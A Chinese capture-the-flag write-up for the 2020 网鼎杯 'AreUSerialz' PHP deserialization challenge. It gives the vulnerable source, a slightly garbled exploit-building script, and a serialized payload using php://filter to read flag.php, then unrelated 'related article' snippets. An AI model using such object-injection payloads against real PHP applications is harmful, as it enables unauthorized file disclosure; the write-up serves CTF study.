网鼎杯2020php反序列化,2020-网鼎杯(青龙组)_Web题目 AreUserialz Writeup

0x02 AreUSerialz

关于s大写小写问题,可以看p神在圈子里发的,我在最后付上截图

考点: php反序列化 php特性 利用链构造

9cd30bc67c355f0e924cf3c93baddf6f.png

1.打开页面得到代码如下:

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;

protected $filename;

protected $content;

function __construct() {

$op = "1";

$filename = "/tmp/tmpfile";

$content = "Hello World!";

$this->process();

}

public function process() {

if($this->op == "1") {

$this->write();

} else if($this->op == "2") {

$res = $this->read();

$this->output($res);

} else {

$this->output("Bad Hacker!");

}

}

private function write() {

if(isset($this->filename) && isset($this->content)) {

if(strlen((string)$this->content) > 100) {

$this->output("Too long!");

die();

}

$res = file_put_contents($this->filename, $this->content);

if($res) $this->output("Successful!");

else $this->output("Failed!");

} else {

$this->output("Failed!");

}

}

private function read() {

$res = "";

if(isset($this->filename)) {

$res = file_get_contents($this->filename);

}

return $res;

}

private function output($s) {

echo "[Result]:
";

echo $s;

}

function __destruct() {

if($this->op === "2")

$this->op = "1";

$this->content = "";

$this->process();

}

}

function is_valid($s) {

for($i = 0; $i < strlen($s); $i++)

if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))

return false;

return true;

}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];

if(is_valid($str)) {

$obj = unserialize($str);

}

}

2.简单看下代码,反序列化操作,protect里面可控:

01.自己构造一下利用链,主要是绕过 is_vaild 函数,它规定了序列化内容中只能包含ascii可见字符,如果出现其他的字符则会返回false

873906a89403caafc01de0caed1c51a2.png

02.因为构造成功的内容中,肯定会包含%00,因为类型是protect类型,要给添加标记,主要坑点在这,绕过这个的限制

03.我们构造利用链,输出序列化内容,我们自己构造exp,直接读不知道为啥读不到,相对路径的问题???,比赛就用伪协议读一下:

highlight_file(__FILE__);

class FileHandler {

protected $op=2;

protected $op=filename="php://filter/convert.base64-encode/resource=/web/html/flag.php";

protected $op=loecho;

}

$FileHandler = new FileHandler();

$test = serialize($FileHandler);

echo $test;

04.先得知道路径,我们通过 /proc/self/cmdline 知道配置文件路径 /web/config/httpd.conf,通过配置文件知道目录的路径/web/html

直接读一下Flag

运行结果如下:

得到序列化数据:

7d77cf9b1e99c9ad5f502602f08ea386.png

04 修改下Payload,主要是 %00,进行标记,然后进行Protecte绕过,改为 16进制\00\00或者空格,绕过字符限制

O:11:"FileHandler":3:{s:5:"\00*\00op";i:2;s:11:"\00*\00filename";s:62:"php://filter/convert.base64-encode/resource=/web/html/flag.php";s:10:"\00*\00content";s:6:"loecho";}

*

str=O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:62:"php://filter/convert.base64-encode/resource=/web/html/flag.php";S:10:"\00*\00content";S:6:"loecho";}

1. Paylaod打过去,看结果:

fa96b4cfe2f173e84b6e561320d3c94a.png

我们使用伪协议读的,Base64解码一下:

58467139931da840ea09be75c84277a4.png

相关资料:

01. 在线复现: https://buuoj.cn/challenges

02. 反序列化基础: https://bealright.github.io/2019/08/12/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0(%E4%B8%80)/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/560643.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

利用matlab绘制图形

目前存在的一些问题&#xff1a; 1.第一题的两个图像无法重叠 2.最后一个题的第一个图是六瓣&#xff0c;而我写的是八瓣 感谢张同学给我指出来&#xff0c;目前我正在思考解决方法 第一个的话我以为把框缩小就可以重叠了&#xff0c;但是今天试了一下还是分开的&#xff0c;还…

matlab guide对话框+滑动条+弹出式菜单+列表框的使用

文章目录前言matlab数据传递概观对话框创建利用滑动条实现颜色调控利用弹出式菜单选择并输入文本框利用列表框选择并输入文本框前言 我觉得gui无非就是给程序加了件衣服&#xff0c;其实具体的程序我们都会写&#xff0c;我们唯一不明白的是那几个部分数据之间的传递&#xff…

流放之路材质过滤怎么设置_松下除湿机怎么样 松下除湿机款式有哪些型号【详解】...

马上南方就要进入梅雨季节了&#xff0c;潮湿的天气容易滋生细菌&#xff0c;可能会导致人们出现过敏现象&#xff0c;所以很多家庭都选择购买除湿机&#xff0c;现在市场上的除湿机不是很多&#xff0c;其中松下的除湿机比较受欢迎&#xff0c;所以小编我就来跟大家说一说松下…

matlab图形句柄+图形对象+图形对象的属性+对象操作

文章目录前言&#xff1a;图形对象&#xff1a;图形句柄&#xff1a;图形对象的属性&#xff1a;对象的基本操作figure对象(图形窗口)figure()函数&#xff1a;clf()函数清空当前图形窗口&#xff1a;axes坐标轴对象image()line()text()前言&#xff1a; 下面这些是为了更好地…

echart 高度 不用 不撑满_注意厨房台面高度及细节 装出省心舒服 装出事半功倍...

厨房的装修设计最好还是细节做得好&#xff0c;细节做得能达到事半功倍的效果&#xff0c;厨房台面高度如何设计才是最合适呢&#xff1f;我们一起走进包头装修网了解一下吧&#xff01;下面三个台面的设计细节&#xff0c;也许就能让你家的厨房突然变得好用起来——哪怕你可能…

利用matlab guide制作简易计算器

前言&#xff1a; 当然了这个太简单了&#xff0c;新手可以借鉴一下&#xff0c;举一反三的话还可以添加一些功能或者简洁一些。比如下拉框啊之类的 而且呢&#xff0c;这个你弄明白了&#xff0c;所有运算有关的&#xff0c;输入输出有关的&#xff0c;都大致相同。 实现过程…

linux复制目录命令夹,linux复制目录(文件夹)和打包命令

linux复制目录(文件夹)和打包命令复制目录命令&#xff1a; cp 需要复制的目录 -r 目的目录 (注意带参数-r)压缩文件&#xff1a;zip -r 压缩后文件名 需要压缩的目录喎?http://www.Bkjia.com/kf/ware/vc/" target"_blank" class"keylink">vcD4KP…

c#怎么拟合函数得到参数_吴恩达老师课程笔记系列第32节 -正则化之代价函数(2)...

第32节 -正则化之代价函数(2)参考视频: 7 - 2 - Cost Function (10 min).mkv 上面的回归问题中如果我们的模型是&#xff1a;我们可以从之前的事例中看出&#xff0c;正是那些高次项导致了过拟合的产生&#xff0c;所以如果我们能让这些高次项的系数接近于 0 的话&#xff0c;我…

Matlab guide菜单+快捷菜单的使用

菜单选择&#xff1a; Opening函数&#xff1a; openingFcn执行于窗口可见之前&#xff0c;这个时候你想做什么的话可以把代码写进去 function plott_OpeningFcn(hObject, eventdata, handles, varargin) t1/200:1/200:1; plot(t,sin(2*pi*t*10),r);几个回调函数&#xff1a; …

c向文件中插入数据_如何把数据写入顺序文件中,VBA代码中Write#语句的利用

大家好&#xff0c;我们今日继续讲解VBA代码解决方案的第132讲内容&#xff1a;使用 Write #语句把数据写入打开顺序文件中。在上一讲的内容中我们讲了打开一文本文件来写入数据的两种方法有&#xff1a;Append或Output&#xff0c;那么问题来了&#xff0c;如何往打开的文件中…

JavaScript变量声明+数据类型+数字格式+操作符+进制

文章目录1.那些高大上的概念术语都是指什么什么是web应用&#xff1f;什么是前台后台&#xff1f;怎么做网页界面呢&#xff1f;JavaScript可以应用到什么上面&#xff1f;2.JavaScript实例&#xff1a;3.语言基础变量声明数据类型基本数据类型&#xff1a;引用数据类型&#x…

linux 磁盘簇,linux系统exec簇工作原理

操作系统是一个用来和硬件打交道并为用户程序提供一个有限服务集的低级支撑软件。一个计算机系统是一个硬件和软件的共生体&#xff0c;它们互相依赖&#xff0c;不可分割。计算机的硬件&#xff0c;含有外围设备、处理器、内存、硬盘和其他的电子设备组成计算机的发动机。但是…

JavaScript 函数定义+内置函数使用+array对象+object类型

文章目录函数定义random()setInterval()setTimeout()数组对象object函数定义 两种格式&#xff1a; function 自定义函数名称(参数1&#xff0c;参数2&#xff0c;...&#xff0c;参数n){ //函数体 return 返回值; }函数表达式写法&#xff08;匿名函数&#xff09;&#xff…

jmeter进程和线程的区别_一文搞懂进程和线程的区别

计算机系统是由硬件和软件组成的&#xff0c;它们共同协作以运行应用程序。先来看下面这张一个典型的计算机系统的硬件组成图从上图中看出一个系统由 CPU、ALU(算术逻辑单元)、PC(程序计数器)、总线(贯穿整个系统的一组电子管道)、IO设备、主存等组成。这些硬件的管理都是由操作…

BOM+DOM+JavaScript读取与操作网页对象

DOM 网页的元素有多种定义方式&#xff0c;那我们怎么描述或指定页面上某个元素呢。为了统一方式&#xff0c;产生了document object model 标准 以HTML表单为例&#xff0c; 文本字段前面的标题由label标签声明 每个表单字段都通过id属性设置唯一的识别名称&#xff0c;用于让…

datax 导入数据中文乱码_DataX在有赞大数据平台的实践

文| 小木 on 大数据一、需求有赞大数据技术应用的早期&#xff0c;我们使用 Sqoop 作为数据同步工具&#xff0c;满足了 MySQL 与 Hive 之间数据同步的日常开发需求。随着公司业务发展&#xff0c;数据同步的场景越来越多&#xff0c;主要是 MySQL、Hive 与文本文件之间的数据同…

网页中嵌入JavaScript+事件触发程序

嵌入方式&#xff1a; 1.JavaScript代码与HTML写在同一个文档中 JavaScript代码要放在<script>和</script>标签之间 而且整个JavaScript代码最好放在</body>前&#xff0c;这样可以让浏览器先加载并显示主体 2.JavaScript代码单独存成.js文件&#xff0c;…

sql相同顺序法和一次封锁法_数学专题 | Ep01 隔板法的妙用

数学专题(一) 隔板法的妙用浓度常见哪些问题?排列组合分堆&#xff1f;涂色&#xff1f;到底掌握透彻了吗&#xff1f;解析几何与韦达定理&#xff1f;公式总是记不住&#xff1f;应用题还不会解&#xff1f;除了写作(写作听我的)、逻辑(逻辑说)专题外&#xff0c;本周起我们也…

通过CDN引用jQuery库+jQuery的使用+网页实现计算器的功能

jQuery是什么&#xff1f;有什么用&#xff1f; jQuery是javascript库&#xff0c;其实就是一堆的js函数&#xff0c;方便我们来调用&#xff0c;提高我们的开发效率 免费开源&#xff0c;支持主流浏览器&#xff0c;简化选取网页元素的语法&#xff0c;简易的读取设置元素的…

linux dev alloc name,深入理解Linux网络技术内幕-设备注册和初始化(二)

NIC注册和注销的通用架构Linux系统中NIC网络设备驱动程序利用网络代码进行注册和注销有其通用的架构&#xff0c;这里以PCI Ethernet NIC为例&#xff0c;其他设备类型只是所以函数名称和调用方式不同&#xff0c;主要依据于设备总线提供的接口。其中(a)为设备注册的大致流程图…